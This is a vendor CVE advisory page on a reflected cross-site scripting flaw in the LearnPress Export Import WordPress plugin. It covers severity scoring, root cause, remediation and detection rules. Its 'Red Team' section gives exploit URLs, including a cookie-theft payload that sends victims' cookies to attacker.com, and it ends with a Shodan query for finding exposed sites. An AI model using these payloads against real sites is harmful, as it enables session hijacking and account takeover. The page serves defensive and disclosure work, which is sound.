☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-9609

CVE-2024-9609 Cross-Site Scripting in Learnpress
📅 PUBLISHED: 2024-11-15 04:29 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.87%
👁️
1.87% probability
46.8× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1204
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-9609 is a Reflected Cross-Site Scripting (XSS) vulnerability affecting the LearnPress Export Import WordPress plugin, versions up to and including 4.0.4. The flaw resides in the learnpress_import_form_server parameter, where insufficient input sanitization and output escaping allow unauthenticated attackers to inject arbitrary web scripts. Successful exploitation requires user interaction (e.g., clicking a crafted link), leading to script execution in the victim's browser within the context of the WordPress site. This can result in session hijacking, credential theft, or defacement. The vulnerability is classified as a WordPress ecosystem issue, not related to Apache or Nginx.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor for updates from the vendor (LearnPress) and apply patches as soon as they become available. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.1 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required
  • Scope: Changed
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

The medium severity reflects the need for user interaction, but the low complexity and network-based attack vector make it a viable phishing vector.

Deep Dive & Mechanics

The vulnerability is a classic Reflected XSS in the WordPress plugin LearnPress Export Import. The parameter learnpress_import_form_server is used during the import process to specify a server path. The plugin fails to properly sanitize and escape this input before rendering it in the response. An attacker can craft a URL containing malicious JavaScript in this parameter. When a logged-in administrator or any user clicks the link, the script executes in their browser, potentially allowing the attacker to perform actions on behalf of the victim.

Root Cause: The plugin directly outputs the value of $_GET['learnpress_import_form_server'] without using WordPress's built-in escaping functions like esc_url() or esc_html().

Vulnerable vs. Patched Code

Vulnerable Code (version <= 4.0.4):

// In a file like learnpress-import-export/inc/admin/views/import.php
$server = $_GET['learnpress_import_form_server'];
echo '<input type="text" name="server" value="' . $server . '" />';

Patched Code (hypothetical fix):

$server = isset($_GET['learnpress_import_form_server']) ? esc_url($_GET['learnpress_import_form_server']) : '';
echo '<input type="text" name="server" value="' . esc_attr($server) . '" />';

The fix uses esc_url() for URL validation and esc_attr() for safe HTML attribute output.

Exploitation & Lab Setup

Red Team (Exploitation)

  1. Setup: Deploy a WordPress instance with LearnPress Export Import plugin version 4.0.4.
  2. Craft Payload: Create a malicious URL:
    http://target-site.com/wp-admin/admin.php?page=learnpress-import&learnpress_import_form_server="><script>alert('XSS')</script>
    
  3. Deliver: Send the link to a logged-in administrator via email or social engineering.
  4. Execute: When the admin clicks the link, the script executes, displaying an alert. For real attacks, use payloads to steal cookies or perform admin actions.

Example Payload for Cookie Theft:

http://target-site.com/wp-admin/admin.php?page=learnpress-import&learnpress_import_form_server="><script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>

Blue Team (Detection & Response)

  • Monitor web server logs for unusual learnpress_import_form_server parameters containing script tags or encoded payloads.
  • Use WAF rules to block requests with <script> or onerror in the parameter.
  • Educate users about phishing links and encourage them to hover over URLs before clicking.

Indicators of Compromise (IOCs)

  • URL Pattern: admin.php?page=learnpress-import&learnpress_import_form_server=* containing <script> or %3Cscript%3E
  • Log Entries: HTTP requests to /wp-admin/admin.php with learnpress_import_form_server parameter containing suspicious characters.
  • Network Traffic: Outbound connections to attacker-controlled domains from the WordPress admin interface.

Detection Engineering

YARA Rule

rule CVE_2024_9609_Reflected_XSS {
    meta:
        description = "Detects Reflected XSS attempts against LearnPress Export Import plugin"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-9609"
    strings:
        $param = "learnpress_import_form_server"
        $script = /<script[^>]*>.*<\/script>/i
        $onerror = /onerror\s*=/i
        $alert = /alert\s*\(/i
    condition:
        $param and ($script or $onerror or $alert)
}

Sigma Rule

title: Reflected XSS via learnpress_import_form_server
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects Reflected XSS attempts against LearnPress Export Import plugin
author: Valters IT
date: 2024/10/27
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: GET
        cs-uri-query|contains: "learnpress_import_form_server"
        cs-uri-query|re: "(<script|onerror|alert)"
    condition: selection
falsepositives:
    - Legitimate use of the parameter with safe values
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-9609 Reflected XSS in LearnPress Export Import"; flow:to_server,established; content:"learnpress_import_form_server"; http_uri; pcre:"/(<script|onerror|alert)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Disable the LearnPress Export Import plugin until a patch is available.
  2. Short-term: Implement a Web Application Firewall (WAF) rule to block malicious learnpress_import_form_server parameters.
  3. Long-term: Apply vendor patch when released. If no patch is forthcoming, consider replacing the plugin with an alternative.
  4. User Training: Educate administrators and users about phishing risks and the importance of not clicking suspicious links.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/learnpress-import-export"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-9609/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.